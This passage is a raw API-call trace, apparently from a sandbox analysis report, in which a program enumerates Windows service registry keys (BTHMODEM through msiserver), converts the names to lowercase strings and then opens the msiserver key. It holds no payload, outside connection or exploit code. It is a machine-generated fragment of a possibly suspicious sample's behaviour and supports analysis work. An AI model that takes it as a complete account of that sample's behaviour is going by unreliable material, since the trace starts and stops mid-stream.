WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x21f19b8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbser", lpUsedDefaultChar=0x0) returned 8 [0249.017] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.017] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0249.017] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.017] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.017] RegEnumKeyW (in: hKey=0x154, dwIndex=0x38, lpName=0x2152850, cchName=0x104 | out: lpName="BTHMODEM") returned 0x0 [0249.017] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.017] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.017] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.017] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthmodem", lpUsedDefaultChar=0x0) returned 8 [0249.017] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0249.017] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.017] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0249.017] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.017] RegEnumKeyW (in: hKey=0x154, dwIndex=0x39, lpName=0x2152850, cchName=0x104 | out: lpName="BTHPORT") returned 0x0 [0249.017] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.017] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0249.017] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0249.017] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x21f19b8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthport", lpUsedDefaultChar=0x0) returned 7 [0249.018] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.018] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0249.018] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.018] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.018] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3a, lpName=0x2152850, cchName=0x104 | out: lpName="bthserv") returned 0x0 [0249.018] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.018] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0249.018] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.018] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthserv", lpUsedDefaultChar=0x0) returned 7 [0249.018] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0249.018] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.018] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0249.018] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.018] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3b, lpName=0x2152850, cchName=0x104 | out: lpName="cdfs") returned 0x0 [0249.018] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.018] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0249.018] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0249.018] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x21f19b8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdfs", lpUsedDefaultChar=0x0) returned 4 [0249.018] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.018] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0249.018] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.018] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.018] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3c, lpName=0x2152850, cchName=0x104 | out: lpName="cdrom") returned 0x0 [0249.018] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.018] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0249.018] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.018] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x21f18e0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdrom", lpUsedDefaultChar=0x0) returned 5 [0249.018] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0249.018] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.018] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0249.018] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.019] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3d, lpName=0x2152850, cchName=0x104 | out: lpName="CertPropSvc") returned 0x0 [0249.019] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.019] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0249.019] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0249.019] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x21f19b8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="certpropsvc", lpUsedDefaultChar=0x0) returned 11 [0249.019] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3e, lpName=0x2152850, cchName=0x104 | out: lpName="circlass") returned 0x0 [0249.019] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3f, lpName=0x2152850, cchName=0x104 | out: lpName="CLFS") returned 0x0 [0249.019] RegEnumKeyW (in: hKey=0x154, dwIndex=0x40, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_32") returned 0x0 [0249.019] RegEnumKeyW (in: hKey=0x154, dwIndex=0x41, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_64") returned 0x0 [0249.019] RegEnumKeyW (in: hKey=0x154, dwIndex=0x42, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_32") returned 0x0 [0249.019] RegEnumKeyW (in: hKey=0x154, dwIndex=0x43, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_64") returned 0x0 [0249.019] RegEnumKeyW (in: hKey=0x154, dwIndex=0x44, lpName=0x2152850, cchName=0x104 | out: lpName="CmBatt") returned 0x0 [0249.019] RegEnumKeyW (in: hKey=0x154, dwIndex=0x45, lpName=0x2152850, cchName=0x104 | out: lpName="cmdide") returned 0x0 [0249.020] RegEnumKeyW (in: hKey=0x154, dwIndex=0x46, lpName=0x2152850, cchName=0x104 | out: lpName="CNG") returned 0x0 [0249.020] RegEnumKeyW (in: hKey=0x154, dwIndex=0x47, lpName=0x2152850, cchName=0x104 | out: lpName="Compbatt") returned 0x0 [0249.020] RegEnumKeyW (in: hKey=0x154, dwIndex=0x48, lpName=0x2152850, cchName=0x104 | out: lpName="CompositeBus") returned 0x0 [0249.020] RegEnumKeyW (in: hKey=0x154, dwIndex=0x49, lpName=0x2152850, cchName=0x104 | out: lpName="COMSysApp") returned 0x0 [0249.020] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4a, lpName=0x2152850, cchName=0x104 | out: lpName="crcdisk") returned 0x0 [0249.020] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4b, lpName=0x2152850, cchName=0x104 | out: lpName="crypt32") returned 0x0 [0249.020] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4c, lpName=0x2152850, cchName=0x104 | out: lpName="CryptSvc") returned 0x0 [0249.020] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4d, lpName=0x2152850, cchName=0x104 | out: lpName="CSC") returned 0x0 [0249.020] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4e, lpName=0x2152850, cchName=0x104 | out: lpName="CscService") returned 0x0 [0249.020] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4f, lpName=0x2152850, cchName=0x104 | out: lpName="DCLocator") returned 0x0 [0249.020] RegEnumKeyW (in: hKey=0x154, dwIndex=0x50, lpName=0x2152850, cchName=0x104 | out: lpName="DcomLaunch") returned 0x0 [0249.020] RegEnumKeyW (in: hKey=0x154, dwIndex=0x51, lpName=0x2152850, cchName=0x104 | out: lpName="defragsvc") returned 0x0 [0249.020] RegEnumKeyW (in: hKey=0x154, dwIndex=0x52, lpName=0x2152850, cchName=0x104 | out: lpName="DfsC") returned 0x0 [0249.021] RegEnumKeyW (in: hKey=0x154, dwIndex=0x53, lpName=0x2152850, cchName=0x104 | out: lpName="Dhcp") returned 0x0 [0249.021] RegEnumKeyW (in: hKey=0x154, dwIndex=0x54, lpName=0x2152850, cchName=0x104 | out: lpName="DiagTrack") returned 0x0 [0249.021] RegEnumKeyW (in: hKey=0x154, dwIndex=0x55, lpName=0x2152850, cchName=0x104 | out: lpName="discache") returned 0x0 [0249.021] RegEnumKeyW (in: hKey=0x154, dwIndex=0x56, lpName=0x2152850, cchName=0x104 | out: lpName="Disk") returned 0x0 [0249.021] RegEnumKeyW (in: hKey=0x154, dwIndex=0x57, lpName=0x2152850, cchName=0x104 | out: lpName="dmvsc") returned 0x0 [0249.021] RegEnumKeyW (in: hKey=0x154, dwIndex=0x58, lpName=0x2152850, cchName=0x104 | out: lpName="Dnscache") returned 0x0 [0249.021] RegEnumKeyW (in: hKey=0x154, dwIndex=0x59, lpName=0x2152850, cchName=0x104 | out: lpName="dot3svc") returned 0x0 [0249.021] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5a, lpName=0x2152850, cchName=0x104 | out: lpName="DPS") returned 0x0 [0249.021] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5b, lpName=0x2152850, cchName=0x104 | out: lpName="drmkaud") returned 0x0 [0249.021] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5c, lpName=0x2152850, cchName=0x104 | out: lpName="DXGKrnl") returned 0x0 [0249.021] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5d, lpName=0x2152850, cchName=0x104 | out: lpName="E1G60") returned 0x0 [0249.021] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5e, lpName=0x2152850, cchName=0x104 | out: lpName="EapHost") returned 0x0 [0249.021] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5f, lpName=0x2152850, cchName=0x104 | out: lpName="ebdrv") returned 0x0 [0249.022] RegEnumKeyW (in: hKey=0x154, dwIndex=0x60, lpName=0x2152850, cchName=0x104 | out: lpName="EFS") returned 0x0 [0249.022] RegEnumKeyW (in: hKey=0x154, dwIndex=0x61, lpName=0x2152850, cchName=0x104 | out: lpName="ehRecvr") returned 0x0 [0249.022] RegEnumKeyW (in: hKey=0x154, dwIndex=0x62, lpName=0x2152850, cchName=0x104 | out: lpName="ehSched") returned 0x0 [0249.022] RegEnumKeyW (in: hKey=0x154, dwIndex=0x63, lpName=0x2152850, cchName=0x104 | out: lpName="elxstor") returned 0x0 [0249.022] RegEnumKeyW (in: hKey=0x154, dwIndex=0x64, lpName=0x2152850, cchName=0x104 | out: lpName="ErrDev") returned 0x0 [0249.022] RegEnumKeyW (in: hKey=0x154, dwIndex=0x65, lpName=0x2152850, cchName=0x104 | out: lpName="ESENT") returned 0x0 [0249.022] RegEnumKeyW (in: hKey=0x154, dwIndex=0x66, lpName=0x2152850, cchName=0x104 | out: lpName="eventlog") returned 0x0 [0249.022] RegEnumKeyW (in: hKey=0x154, dwIndex=0x67, lpName=0x2152850, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0249.022] RegEnumKeyW (in: hKey=0x154, dwIndex=0x68, lpName=0x2152850, cchName=0x104 | out: lpName="exfat") returned 0x0 [0249.022] RegEnumKeyW (in: hKey=0x154, dwIndex=0x69, lpName=0x2152850, cchName=0x104 | out: lpName="fastfat") returned 0x0 [0249.022] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6a, lpName=0x2152850, cchName=0x104 | out: lpName="Fax") returned 0x0 [0249.022] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6b, lpName=0x2152850, cchName=0x104 | out: lpName="fdc") returned 0x0 [0249.023] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6c, lpName=0x2152850, cchName=0x104 | out: lpName="fdPHost") returned 0x0 [0249.023] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6d, lpName=0x2152850, cchName=0x104 | out: lpName="FDResPub") returned 0x0 [0249.023] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6e, lpName=0x2152850, cchName=0x104 | out: lpName="FileInfo") returned 0x0 [0249.023] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6f, lpName=0x2152850, cchName=0x104 | out: lpName="Filetrace") returned 0x0 [0249.023] RegEnumKeyW (in: hKey=0x154, dwIndex=0x70, lpName=0x2152850, cchName=0x104 | out: lpName="flpydisk") returned 0x0 [0249.023] RegEnumKeyW (in: hKey=0x154, dwIndex=0x71, lpName=0x2152850, cchName=0x104 | out: lpName="FltMgr") returned 0x0 [0249.023] RegEnumKeyW (in: hKey=0x154, dwIndex=0x72, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache") returned 0x0 [0249.023] RegEnumKeyW (in: hKey=0x154, dwIndex=0x73, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache3.0.0.0") returned 0x0 [0249.023] RegEnumKeyW (in: hKey=0x154, dwIndex=0x74, lpName=0x2152850, cchName=0x104 | out: lpName="FsDepends") returned 0x0 [0249.023] RegEnumKeyW (in: hKey=0x154, dwIndex=0x75, lpName=0x2152850, cchName=0x104 | out: lpName="Fs_Rec") returned 0x0 [0249.023] RegEnumKeyW (in: hKey=0x154, dwIndex=0x76, lpName=0x2152850, cchName=0x104 | out: lpName="fvevol") returned 0x0 [0249.023] RegEnumKeyW (in: hKey=0x154, dwIndex=0x77, lpName=0x2152850, cchName=0x104 | out: lpName="gagp30kx") returned 0x0 [0249.023] RegEnumKeyW (in: hKey=0x154, dwIndex=0x78, lpName=0x2152850, cchName=0x104 | out: lpName="gpsvc") returned 0x0 [0249.024] RegEnumKeyW (in: hKey=0x154, dwIndex=0x79, lpName=0x2152850, cchName=0x104 | out: lpName="gupdate") returned 0x0 [0249.024] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7a, lpName=0x2152850, cchName=0x104 | out: lpName="gupdatem") returned 0x0 [0249.024] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7b, lpName=0x2152850, cchName=0x104 | out: lpName="hcw85cir") returned 0x0 [0249.024] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7c, lpName=0x2152850, cchName=0x104 | out: lpName="HdAudAddService") returned 0x0 [0249.024] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7d, lpName=0x2152850, cchName=0x104 | out: lpName="HDAudBus") returned 0x0 [0249.024] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7e, lpName=0x2152850, cchName=0x104 | out: lpName="HidBatt") returned 0x0 [0249.024] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7f, lpName=0x2152850, cchName=0x104 | out: lpName="HidBth") returned 0x0 [0249.024] RegEnumKeyW (in: hKey=0x154, dwIndex=0x80, lpName=0x2152850, cchName=0x104 | out: lpName="HidIr") returned 0x0 [0249.024] RegEnumKeyW (in: hKey=0x154, dwIndex=0x81, lpName=0x2152850, cchName=0x104 | out: lpName="hidserv") returned 0x0 [0249.024] RegEnumKeyW (in: hKey=0x154, dwIndex=0x82, lpName=0x2152850, cchName=0x104 | out: lpName="HidUsb") returned 0x0 [0249.024] RegEnumKeyW (in: hKey=0x154, dwIndex=0x83, lpName=0x2152850, cchName=0x104 | out: lpName="hkmsvc") returned 0x0 [0249.024] RegEnumKeyW (in: hKey=0x154, dwIndex=0x84, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupListener") returned 0x0 [0249.024] RegEnumKeyW (in: hKey=0x154, dwIndex=0x85, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupProvider") returned 0x0 [0249.025] RegEnumKeyW (in: hKey=0x154, dwIndex=0x86, lpName=0x2152850, cchName=0x104 | out: lpName="HpSAMD") returned 0x0 [0249.025] RegEnumKeyW (in: hKey=0x154, dwIndex=0x87, lpName=0x2152850, cchName=0x104 | out: lpName="HTTP") returned 0x0 [0249.025] RegEnumKeyW (in: hKey=0x154, dwIndex=0x88, lpName=0x2152850, cchName=0x104 | out: lpName="hwpolicy") returned 0x0 [0249.025] RegEnumKeyW (in: hKey=0x154, dwIndex=0x89, lpName=0x2152850, cchName=0x104 | out: lpName="i8042prt") returned 0x0 [0249.025] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8a, lpName=0x2152850, cchName=0x104 | out: lpName="iaStorV") returned 0x0 [0249.025] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8b, lpName=0x2152850, cchName=0x104 | out: lpName="idsvc") returned 0x0 [0249.025] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8c, lpName=0x2152850, cchName=0x104 | out: lpName="iirsp") returned 0x0 [0249.025] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8d, lpName=0x2152850, cchName=0x104 | out: lpName="IKEEXT") returned 0x0 [0249.025] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8e, lpName=0x2152850, cchName=0x104 | out: lpName="inetaccs") returned 0x0 [0249.025] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8f, lpName=0x2152850, cchName=0x104 | out: lpName="intelide") returned 0x0 [0249.025] RegEnumKeyW (in: hKey=0x154, dwIndex=0x90, lpName=0x2152850, cchName=0x104 | out: lpName="intelppm") returned 0x0 [0249.025] RegEnumKeyW (in: hKey=0x154, dwIndex=0x91, lpName=0x2152850, cchName=0x104 | out: lpName="IPBusEnum") returned 0x0 [0249.025] RegEnumKeyW (in: hKey=0x154, dwIndex=0x92, lpName=0x2152850, cchName=0x104 | out: lpName="IpFilterDriver") returned 0x0 [0249.026] RegEnumKeyW (in: hKey=0x154, dwIndex=0x93, lpName=0x2152850, cchName=0x104 | out: lpName="iphlpsvc") returned 0x0 [0249.026] RegEnumKeyW (in: hKey=0x154, dwIndex=0x94, lpName=0x2152850, cchName=0x104 | out: lpName="IPMIDRV") returned 0x0 [0249.026] RegEnumKeyW (in: hKey=0x154, dwIndex=0x95, lpName=0x2152850, cchName=0x104 | out: lpName="IPNAT") returned 0x0 [0249.026] RegEnumKeyW (in: hKey=0x154, dwIndex=0x96, lpName=0x2152850, cchName=0x104 | out: lpName="IRENUM") returned 0x0 [0249.026] RegEnumKeyW (in: hKey=0x154, dwIndex=0x97, lpName=0x2152850, cchName=0x104 | out: lpName="isapnp") returned 0x0 [0249.026] RegEnumKeyW (in: hKey=0x154, dwIndex=0x98, lpName=0x2152850, cchName=0x104 | out: lpName="iScsiPrt") returned 0x0 [0249.026] RegEnumKeyW (in: hKey=0x154, dwIndex=0x99, lpName=0x2152850, cchName=0x104 | out: lpName="kbdclass") returned 0x0 [0249.026] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9a, lpName=0x2152850, cchName=0x104 | out: lpName="kbdhid") returned 0x0 [0249.026] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9b, lpName=0x2152850, cchName=0x104 | out: lpName="KeyIso") returned 0x0 [0249.026] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9c, lpName=0x2152850, cchName=0x104 | out: lpName="KSecDD") returned 0x0 [0249.026] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9d, lpName=0x2152850, cchName=0x104 | out: lpName="KSecPkg") returned 0x0 [0249.026] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9e, lpName=0x2152850, cchName=0x104 | out: lpName="ksthunk") returned 0x0 [0249.026] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9f, lpName=0x2152850, cchName=0x104 | out: lpName="KtmRm") returned 0x0 [0249.027] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa0, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanServer") returned 0x0 [0249.027] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa1, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanWorkstation") returned 0x0 [0249.027] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa2, lpName=0x2152850, cchName=0x104 | out: lpName="ldap") returned 0x0 [0249.027] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa3, lpName=0x2152850, cchName=0x104 | out: lpName="lltdio") returned 0x0 [0249.027] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa4, lpName=0x2152850, cchName=0x104 | out: lpName="lltdsvc") returned 0x0 [0249.027] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa5, lpName=0x2152850, cchName=0x104 | out: lpName="lmhosts") returned 0x0 [0249.027] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa6, lpName=0x2152850, cchName=0x104 | out: lpName="Lsa") returned 0x0 [0249.027] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa7, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_FC") returned 0x0 [0249.027] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa8, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS") returned 0x0 [0249.027] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa9, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS2") returned 0x0 [0249.027] RegEnumKeyW (in: hKey=0x154, dwIndex=0xaa, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SCSI") returned 0x0 [0249.027] RegEnumKeyW (in: hKey=0x154, dwIndex=0xab, lpName=0x2152850, cchName=0x104 | out: lpName="luafv") returned 0x0 [0249.028] RegEnumKeyW (in: hKey=0x154, dwIndex=0xac, lpName=0x2152850, cchName=0x104 | out: lpName="Mcx2Svc") returned 0x0 [0249.028] RegEnumKeyW (in: hKey=0x154, dwIndex=0xad, lpName=0x2152850, cchName=0x104 | out: lpName="megasas") returned 0x0 [0249.028] RegEnumKeyW (in: hKey=0x154, dwIndex=0xae, lpName=0x2152850, cchName=0x104 | out: lpName="MegaSR") returned 0x0 [0249.028] RegEnumKeyW (in: hKey=0x154, dwIndex=0xaf, lpName=0x2152850, cchName=0x104 | out: lpName="Microsoft SharePoint Workspace Audit Service") returned 0x0 [0249.028] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb0, lpName=0x2152850, cchName=0x104 | out: lpName="MMCSS") returned 0x0 [0249.028] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb1, lpName=0x2152850, cchName=0x104 | out: lpName="Modem") returned 0x0 [0249.028] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb2, lpName=0x2152850, cchName=0x104 | out: lpName="monitor") returned 0x0 [0249.028] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb3, lpName=0x2152850, cchName=0x104 | out: lpName="mouclass") returned 0x0 [0249.028] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb4, lpName=0x2152850, cchName=0x104 | out: lpName="mouhid") returned 0x0 [0249.028] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb5, lpName=0x2152850, cchName=0x104 | out: lpName="mountmgr") returned 0x0 [0249.028] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb6, lpName=0x2152850, cchName=0x104 | out: lpName="MozillaMaintenance") returned 0x0 [0249.028] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb7, lpName=0x2152850, cchName=0x104 | out: lpName="mpio") returned 0x0 [0249.028] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb8, lpName=0x2152850, cchName=0x104 | out: lpName="mpsdrv") returned 0x0 [0249.029] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb9, lpName=0x2152850, cchName=0x104 | out: lpName="MpsSvc") returned 0x0 [0249.029] RegEnumKeyW (in: hKey=0x154, dwIndex=0xba, lpName=0x2152850, cchName=0x104 | out: lpName="MRxDAV") returned 0x0 [0249.029] RegEnumKeyW (in: hKey=0x154, dwIndex=0xbb, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb") returned 0x0 [0249.029] RegEnumKeyW (in: hKey=0x154, dwIndex=0xbc, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb10") returned 0x0 [0249.029] RegEnumKeyW (in: hKey=0x154, dwIndex=0xbd, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb20") returned 0x0 [0249.029] RegEnumKeyW (in: hKey=0x154, dwIndex=0xbe, lpName=0x2152850, cchName=0x104 | out: lpName="msahci") returned 0x0 [0249.029] RegEnumKeyW (in: hKey=0x154, dwIndex=0xbf, lpName=0x2152850, cchName=0x104 | out: lpName="msdsm") returned 0x0 [0249.029] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc0, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0249.029] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc1, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 3.0.0.0") returned 0x0 [0249.029] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc2, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 4.0.0.0") returned 0x0 [0249.029] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc3, lpName=0x2152850, cchName=0x104 | out: lpName="Msfs") returned 0x0 [0249.029] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc4, lpName=0x2152850, cchName=0x104 | out: lpName="mshidkmdf") returned 0x0 [0249.029] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc5, lpName=0x2152850, cchName=0x104 | out: lpName="msisadrv") returned 0x0 [0249.030] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc6, lpName=0x2152850, cchName=0x104 | out: lpName="MSiSCSI") returned 0x0 [0249.030] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc7, lpName=0x2152850, cchName=0x104 | out: lpName="msiserver") returned 0x0 [0249.030] RegOpenKeyExW (in: hKey=0x154, lpSubKey="msiserver", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0249.030] RtlFreeHeap 